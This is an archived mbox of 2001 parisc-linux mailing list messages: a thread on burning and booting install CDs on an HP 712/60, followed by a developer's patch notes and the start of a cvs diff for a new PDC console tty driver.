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
32KkZqsuSqaPU/+Tm+TLm7Fim3Pmmdblea//r2IiJlDuTJptT/FSn8PNImgbxh92CgWOP7Tg
BU1XR4IKcwot6ok3hTKMeLEAdXNz1Qu0qfrNdq8stDYUWAPz0ZE8EDrfLbzVY/yCxjbFgd7p
TcfEie+l9+ijav5r9XzmJ/P1e21Lv9eEbihq90x+WjXbbanVebuxRlr99SqxNj9kX6JOh4V1
6ZXN7/1fRfHvxe7o5LRkLZuHjyCbHLGE28CJUrYcJRK3v5mARZ7UIqS56u6Pzq5PyNSAbMgr
xrKKemJtvvSmfvynHDAsslKpEHVw98v+Z1HWoYyVAEWXPN5kinb36tqRB4jn/dvjHvz/Xsye
3KfQ27xUAvwRDyCgPpKQaynFRaqxAy9c7kurCB+rzP5aicn7av7Bf2vr4L8luKEoMXn8ElDA
6TjNTgOhAHBDoflqLSk37Y5TJ7k5rDbRn8f/2uZB/zRwMU7ARcPoUp7m5A7iG5OSy+VGXHzI
ENxHoJCfwUlGLJc6a9jjEvCjsU6cOiSuFM420TR4XukdvpwzObN6/tH40e86Hz76z05JxNaT
JJuvnqJ1ui40BFq8ttLym/jDGd9GeBOfzJXcqp2WXFA6qp2m7CbYpbVdq1OtF4iZKbjZVbTU
1lus7cjrgX9bBF31H9I5uT5ju1hwDo3XP437J6fuSW80vORiAchZF38Yda9OwbKqmm30ka5h
9Uw4lPV7Dmk9ACUqDsC2HdzfCROFJQwynlXYPPWEQTsJ2IngVP+tg9PLs3/Kbx42Cipy9mA5
fwotcf3hjD8WzpbzXxMVTy4du5noDXjfuvSs13ck11ptFxG5e3bP7tk9u2f37J7ds3v+v59/
A+yqOZ0AeAAA
--------------D1202EA6272D226F6FF46EFF--





From - Thu Nov 08 21:20:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: <xfs@linux.se>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] How to burn the CD?
Date: Tue, 20 Nov 2001 01:37:07 +0100 (CET)
Lines: 17
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0111200130490.7294-100000@oden.valhall>
References: <3BF544F6.1010400@moyroud.net>
Reply-To: <xfs@linux.se>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620785 30613 80.91.229.3 (22 Nov 2014 01:46:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:25 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 19 17:36:46 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from xfs.ath.cx (du32-145.ppp.algonet.se [195.100.145.32])
	by dsl2.external.hp.com (Postfix) with ESMTP id B1DC8482C
	for <parisc-linux@lists.parisc-linux.org>; Mon, 19 Nov 2001 17:36:45 -0700 (MST)
Original-Received: from oden.valhall (oden.valhall [192.168.0.3])
	by xfs.ath.cx (Postfix) with ESMTP id 24A6917A42
	for <parisc-linux@lists.parisc-linux.org>; Tue, 20 Nov 2001 01:37:08 +0100 (CET)
X-X-Sender: <j@oden.valhall>
In-Reply-To: <3BF544F6.1010400@moyroud.net>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13153

Well... Now I have the cd's downloaded (took a loong time for my 33.6modem
to download).
Now to the next problem: How to burn?
The problem here is:
I only got 1 cd-burner, and that device is in my Pa-risc-box, becouse it
uses scsi, and I dont have any other mashines here that have scsi-cards.
The pa-risc (712/60) still uses Hp/UX 10.20...

Anyony knowing how to use the cd-burner in HpUX10.20 on a pa-risc?

Another question: My HpUX-install-cd didn't boot on the cdrom...
Is there any wrong with my burned cd with hpux, the cdrom-device or the
mashine (pa712/60)? I hope it is the hp-install-cd becouse if it is the
hardware, then I'm not beeing able to boot the linux-install-cd ether.




From - Thu Nov 08 21:20:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt.VanDeWerken@csiro.au
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] How to burn the CD?
Date: Tue, 20 Nov 2001 10:50:15 +1000
Lines: 50
Approved: news@gmane.org
Message-ID: <A8566E157F5FD411BCFB00D0B7816D51C72C42@ntexchange.cat.csiro.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416620786 30617 80.91.229.3 (22 Nov 2014 01:46:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:26 +0000 (UTC)
To: xfs@linux.se, parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 19 17:55:01 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ntexchange.cat.csiro.au (ntexchange.cat.csiro.au [140.253.12.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id 43491482C
	for <parisc-linux@lists.parisc-linux.org>; Mon, 19 Nov 2001 17:55:00 -0700 (MST)
Original-Received: by ntexchange.cat.csiro.au with Internet Mail Service (5.5.2653.19)
	id <V9275ZVF>; Tue, 20 Nov 2001 10:50:33 +1000
X-Mailer: Internet Mail Service (5.5.2653.19)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13154

G'day 'xfs':

I posted here a little while back how to install without having a CDROM
drive. You could use this same method if you can't burn the cd, and have a
couple of spare external SCSI drives.

Cheers,
Matthew van de Werken
Electronics Engineer
CSIRO Exploration & Mining - Gravity Group
1 Technology Court - Pullenvale - Qld - 4069 - AUSTRALIA
ph:  +61-7-3327 4685     fax:  +61-7-3327 4455
email:  matt.vandewerken@csiro.au


> -----Original Message-----
> From: xfs@linux.se [mailto:xfs@linux.se]
> Sent: Tuesday, 20 November 2001 10:37 AM
> To: parisc-linux@lists.parisc-linux.org
> Subject: [parisc-linux] How to burn the CD?
> 
> 
> Well... Now I have the cd's downloaded (took a loong time for 
> my 33.6modem
> to download).
> Now to the next problem: How to burn?
> The problem here is:
> I only got 1 cd-burner, and that device is in my Pa-risc-box, 
> becouse it
> uses scsi, and I dont have any other mashines here that have 
> scsi-cards.
> The pa-risc (712/60) still uses Hp/UX 10.20...
> 
> Anyony knowing how to use the cd-burner in HpUX10.20 on a pa-risc?
> 
> Another question: My HpUX-install-cd didn't boot on the cdrom...
> Is there any wrong with my burned cd with hpux, the 
> cdrom-device or the
> mashine (pa712/60)? I hope it is the hp-install-cd becouse if 
> it is the
> hardware, then I'm not beeing able to boot the linux-install-cd ether.
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 



From - Thu Nov 08 21:20:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] How to burn the CD?
Date: Tue, 20 Nov 2001 01:16:13 +0000
Lines: 15
Approved: news@gmane.org
Message-ID: <20011120011613.G11431@linuxcare.com>
References: <A8566E157F5FD411BCFB00D0B7816D51C72C42@ntexchange.cat.csiro.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620786 30620 80.91.229.3 (22 Nov 2014 01:46:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:26 +0000 (UTC)
Cc: xfs@linux.se, parisc-linux@lists.parisc-linux.org
To: Matt.VanDeWerken@csiro.au
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 19 18:14:17 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust100.bre.cable.ntl.com [213.107.176.100])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3C5C76123
	for <parisc-linux@lists.parisc-linux.org>; Mon, 19 Nov 2001 18:14:17 -0700 (MST)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 4280CB00C; Tue, 20 Nov 2001 01:16:13 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <A8566E157F5FD411BCFB00D0B7816D51C72C42@ntexchange.cat.csiro.au>; from Matt.VanDeWerken@csiro.au on Tue, Nov 20, 2001 at 10:50:15AM +1000
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13155

On Tue, Nov 20, 2001 at 10:50:15AM +1000, Matt.VanDeWerken@csiro.au wrote:
> G'day 'xfs':
> 
> I posted here a little while back how to install without having a CDROM
> drive. You could use this same method if you can't burn the cd, and have a
> couple of spare external SCSI drives.

I think you posted on how to install without a cd or a network.  If xfs
has a network, he may be able to install via that much more easily.

Cheers,
  Richard




From - Thu Nov 08 21:20:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] How to burn the CD?
Date: Mon, 19 Nov 2001 18:19:49 -0700
Lines: 24
Approved: news@gmane.org
Message-ID: <20011120011949.8C6AF37E86@carmen.fc.hp.com>
References: <Pine.LNX.4.33.0111200130490.7294-100000@oden.valhall>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620786 30623 80.91.229.3 (22 Nov 2014 01:46:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:26 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: xfs@linux.se
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 19 18:19:51 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel6.hp.com (atlrel6.hp.com [192.151.27.8])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5E0C16123
	for <parisc-linux@lists.parisc-linux.org>; Mon, 19 Nov 2001 18:19:51 -0700 (MST)
Original-Received: from carmen.fc.hp.com (unknown [15.1.51.72])
	by atlrel6.hp.com (Postfix) with ESMTP
	id 81FC41F697; Mon, 19 Nov 2001 20:19:50 -0500 (EST)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id 8C6AF37E86; Mon, 19 Nov 2001 18:19:49 -0700 (MST)
X-Mailer: exmh version 2.3.1 01/18/2001 (debian 2.3.1-1) with nmh-1.0.4+dev
In-Reply-To: Message from <xfs@linux.se> 
   of "Tue, 20 Nov 2001 01:37:07 +0100." <Pine.LNX.4.33.0111200130490.7294-100000@oden.valhall> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13156

xfs@linux.se writes...

> Anyony knowing how to use the cd-burner in HpUX10.20 on a pa-risc?

cdrecord (and XCDRoast) can be made to work on HP-UX if you can't find another 
easier solution.

> Another question: My HpUX-install-cd didn't boot on the cdrom...
> Is there any wrong with my burned cd with hpux, the cdrom-device or the
> mashine (pa712/60)? I hope it is the hp-install-cd becouse if it is the
> hardware, then I'm not beeing able to boot the linux-install-cd ether.

What type of cdrom drive is it? Firmware only supports certain types. Try 
doing a "sea"rch in the firmware interface with a "known bootable on hppa 
systems" cd in the drive. If the search finds it then you should be able to 
boot from it.

-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation





From - Thu Nov 08 21:20:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@gmx.at>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: E55 status - THE DRIVER !
Date: Tue, 20 Nov 2001 00:32:06 +0100
Organization: private
Lines: 1702
Approved: news@gmane.org
Message-ID: <3BF99676.2A291CDD@gmx.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------F2284F98E058B5E182FDCE75"
X-Trace: ger.gmane.org 1416620787 30625 80.91.229.3 (22 Nov 2014 01:46:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:27 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: marteaut@esiee.fr, grundler@puffin.external.hp.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Nov 20 00:35:46 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viefep14-int.chello.at (viefep14-int.chello.at [213.46.255.13])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7A4EE482C
	for <parisc-linux@lists.parisc-linux.org>; Tue, 20 Nov 2001 00:35:43 -0700 (MST)
Original-Received: from gmx.at ([62.178.92.247]) by viefep16-int.chello.at
          (InterMail vM.5.01.03.06 201-253-122-118-106-20010523) with ESMTP
          id <20011119233206.MYEE1238.viefep16-int.chello.at@gmx.at>;
          Tue, 20 Nov 2001 00:32:06 +0100
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.6 i686)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13157

This is a multi-part message in MIME format.
--------------F2284F98E058B5E182FDCE75
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

I had forgotten to add the "THE DRIVER" to the subject, so you may
oversee
the driver's code, sent as attachment in my pre-last mail.

To be sure, here the attachments again !


---- original mail ----

Hallo Thomas,
hallo Grant,

finally the CVS was working again.

I have no login for your CVS so I will send the `cvs diff -u' and the
newly
added file `drivers/char/pdc_drv.c'.

Some notes here:

* In my console drivers (serial and PDC) I always added code, that the
machine
can be resetted via `^\' (Ctrl-\) for development (especially for
machines 
without reset button as the E55 server). I removed this code for sending
the
CVS diffs.

* There is no CONFIG_ stuff for the PDC console, the console is
initialised
        in `arch/kernel/pdc_cons.c' (EARLY_BOOTUP_DEBUG) and the tty
driver
        has a __init constructor routine.

  ATTENTION: It is very important to have the init code in the
pdc_cons.c
        executed before the ttyBn driver is used, otherwise the first
access
        to the PDC driver (echo hallo > /dev/ttyB0) leads to a blocking
        machine ....

  The driver can also be used on machines running true serial console,
        by `echo hallo > /dev/ttyB0'. But the mix on the serial console
        of ttyS0 driver and ttyB0 driver is not recommended !!

* The driver as console is only tested on the server E55 (model
9000/856)
        and the HP apollo 700 series (9000/720/50), in both cases the
        machine was configured to use the serial line.
        Further I tested the kernel on a 712/60 machine, having PDC
console
        on STI device. Here the PDC console is used correctly, but then
        the console switches to the colored frame buffer (and the text
is
        completly BLUE (!) and is overwriting the poor TUX !
        I think here is a bug in the console handling not staying on the
        configured device (has nothing to do with my stuff) or it is a
        feature ti have full STI support if it possible ... 
        But /dev/ttyB0 is never used together with an STI able machine
.. :-)

* I added the `CP:' to my modules or `XXX CP:' if there is something to
do ...

* As I cannot checkin, I have no way to give change logs, so I will do
here
a short list:

- pdc_drv.c: Added file, PDC console tty driver for linux, /dev/ttyBn, 
        n=0 (only)

- pdc_cons.c: Added keyboard polling routine, added an function entry to
get
        an device entry for the console driver to "connet" the pdc_cons 
        driver to the PDC tty driver

- pdc.h: Added prototypes used for console and LEDs

- firmware.c: Added reading access to the PDC console (was former used
for 
        waiting on a keypress), readded the pdc_chassis_disp () (was
removed 
        in the meantime, but at the current state I use it for the E55
LEDs).

- led.c: Added a "trial" version of a LED controlling. Only RUN and
ATTENTION
        LED is supported. RUN/ATTENTION stated derived from state of the 
        HEART-BEAT LED (flashing->RUN, off->ATTENTION), and so the LEDs
are 
        also accessable via PROC-FS. The LED activation of my routines
is
        derived from the model name (hard coded 9000/856) for my tests.
        How to deal with this in the future ?

- major.h: Added free major 30 (character device) for PDC console
(ttyBn).

- drivers/char/Makefile: pdc_drv.o added (per hack) to arch PARISC
dependent code.

The code builds warning-free.

Again to test:

1. Compile and have a look that the pdc_drv.o is included in
drivers/char/Makefile
2. dev entry /dev/ttyB0 c 30 0
3. /etc/inittab, have a login at ttyB0
4. Added the `ttyB0' device to /etc/securetty, if you want login as
`root' on the
        console
5. kernel line parameter with `console=ttyB0'

(ad 1): In the future (if somebody can help me) we want to have a config
item in
the kernel configuration for the PDC console. 


I attch two files:
        - linux-cvs.diff-20011119.log
                Diffs displayed by `cvs -z9 diff -u .'
        - pdc_drv.c
                The new file (simple displayed as `?
drivers/char/pdc_drv.c')
                The file has to be checked in at `drivers/char'

I hope you can use it and will add it to the mainstream kernel ...

Bye
Christoph P.






-- 
-------------------------------------------------------
private:	christoph.plattner@gmx.at
company:	christoph.plattner@alcatel.at
--------------F2284F98E058B5E182FDCE75
Content-Type: text/plain; charset=us-ascii;
 name="linux-cvs.diff-20011119.log"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="linux-cvs.diff-20011119.log"

? drivers/char/pdc_drv.c
cvs server: Diffing .
cvs server: Diffing Documentation
cvs server: Diffing Documentation/DocBook
cvs server: Diffing Documentation/arm
cvs server: Diffing Documentation/arm/SA1100
cvs server: Diffing Documentation/arm/empeg
cvs server: Diffing Documentation/arm/nwfpe
cvs server: Diffing Documentation/cdrom
cvs server: Diffing Documentation/cris
cvs server: Diffing Documentation/fb
cvs server: Diffing Documentation/filesystems
cvs server: Diffing Documentation/filesystems/devfs
cvs server: Diffing Documentation/i2c
cvs server: Diffing Documentation/i386
cvs server: Diffing Documentation/ia64
cvs server: Diffing Documentation/isdn
cvs server: Diffing Documentation/kbuild
cvs server: Diffing Documentation/m68k
cvs server: Diffing Documentation/mips
cvs server: Diffing Documentation/networking
cvs server: Diffing Documentation/parisc
cvs server: Diffing Documentation/power
cvs server: Diffing Documentation/powerpc
cvs server: Diffing Documentation/s390
cvs server: Diffing Documentation/sound
cvs server: Diffing Documentation/sparc
cvs server: Diffing Documentation/sysctl
cvs server: Diffing Documentation/telephony
